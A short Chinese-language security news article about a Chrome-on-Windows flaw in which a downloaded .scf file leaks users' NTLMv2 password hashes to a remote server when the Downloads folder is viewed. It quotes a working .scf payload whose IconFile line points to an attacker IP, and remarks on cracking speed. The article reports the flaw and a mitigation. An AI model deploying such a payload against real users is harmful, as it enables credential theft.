谷歌Chrome团队正在着手修复一个影响运行Windows版本Chrome浏览器的凭证窃取漏洞。
如果用户被骗点击下载一个Windows .scf文件（即过时的Shell命令文件格式，自Windows 98以来访问Show Desktop的捷径），该漏洞就可遭利用。这个漏洞会利用Chrome处理 .scf文件的方式以及Windows处理该文件的方式。
多数下载链接都经Chrome清洁，如自从震网攻击发生后，Chrome浏览器就会强制在Windows LNK文件后加载一个.download扩展，但 .scf文件并非如此。也就是说如果用户点击了链接，恶意 .scf 文件就会在/Downloads目录下处于休眠状态一直到用户打开文件夹之后。这就是Windows缺陷存在的地方，只是查看这个文件夹就会触发Windows尝试并检索跟 .scf 文件相关的一个图标。
为检索这个图标，用户及其会将凭证显示给一个服务器即用户在企业网络上的ID和哈希密码或者是个人设备的home group凭证。很自然地，因为它涉及凭证，因此攻击者也可看到。
如果 .scf 文件包含如下代码：
[Shell]
IconFile=\\170.170.170.170\icon
那么用户ID和哈希密码就会显示给攻击者的IP地址。
由于它是一个NTLMv2哈希密码，因此要恢复它就需要离线暴力破解，但SecureCode指出用户ID和哈希也可被显示给其它服务。
破解密码的难度并不大，一张NVIDIA GTX 1080卡就应该能在一天内恢复一个8位密码。
等待谷歌推出补丁之前，Chrome用户应该在高级设置让Chrome询问下载文件将被保存在什么地方，这样 .scf 扩展就会显示出来。
谷歌表示已意识到该问题且正在着手解决。
本文由360代码卫士编译，不代表360观点，转载请注明“转自360代码卫士www.codesafe.cn”。